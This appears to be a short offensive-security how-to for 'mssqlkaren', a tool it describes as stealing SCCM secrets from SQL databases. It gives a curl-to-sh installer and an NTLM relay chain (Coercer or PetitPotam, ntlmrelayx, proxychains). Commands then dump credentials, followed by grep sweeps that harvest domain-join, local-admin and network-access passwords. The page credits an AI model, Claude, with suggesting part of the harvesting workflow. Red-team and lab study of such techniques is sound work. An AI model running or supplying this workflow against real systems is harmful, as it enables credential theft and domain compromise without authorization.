v1.0

mssqlkaren

By
Brian Johnson

Awesome tool for stealing SCCM goodies from SQL databases.

Install pre-reqs

curl -LsSf https://astral.sh/uv/install.sh | sh

Install mssqlkaren

git clone https://github.com/garrettfoster13/mssqlkaren.git
cd mssqlkaren
uv sync

Dump creds from an SCCM SQL database

In a SCCM environment where you have multiple SCCM servers and one has SQL on it, relay one of the SCCM servers without SQL (using Coercer or petitpotam) to a SCCM server with SQL running on it (using something like ntlmrelayx -t mssql://sccmsql -socks -smb2support).

Once the relay is established, use mssqlkaren.py to extract SCCM secrets against your established session:

# Get the proxychains hooked through your existing ntlmrelay (make sure in the command below you're matching the user/machine exactly as it appears in your ntlmrelay)
proxychains uv run mssqlkaren.py ludus/domainadmin:password@10.6.10.13 -windows-auth

# Find the name of the SCCM database
enum_db

# Change to that db
use BLAH_123

# "Speak to the manager" to dump interesting stuff
speak_to_the_manager

Find other interesting things from Karen's dump

From wherever you ran Karen, there should be an deobfuscated folder - it's probably worth grepping out any other potentially interesting things:

grep -rioP '(OSDJoinAccount|OSDJoinPassword|OSDJoinDomainName|OSDLocalAdminPassword|SMSConnectNetworkFolderAccount|SMSConnectNetworkFolderPassword)[^<]*<[^>]*>[^<]*' *.xml --text

Claude also suggested bundling all the xmls into one big one:

for f in *.xml; do echo "=== $f ==="; xmllint --format "$f" 2>/dev/null || cat "$f"; done > all_ts_formatted.xml

And then make 3 sweeps to find gold:

# 1. Every variable name/value pair — eyeball the whole set
grep -oP '<variable name="[^"]+"[^>]*>[^<]*' all_ts_formatted.xml | sort -u

# 2. Anything that smells like a secret (case-insensitive)
grep -riE 'pass|pwd|cred|secret|account|user|domain\\|net use|-credential|convertto-securestring|-asplaintext|psexec|runas' all_ts_formatted.xml

# 3. Embedded command lines / scripts in Run Command Line + Run PowerShell steps
grep -oP '<action>.*?</action>' all_ts_formatted.xml
grep -oP '(smsswd\.exe|cmd\.exe|powershell).*' all_ts_formatted.xml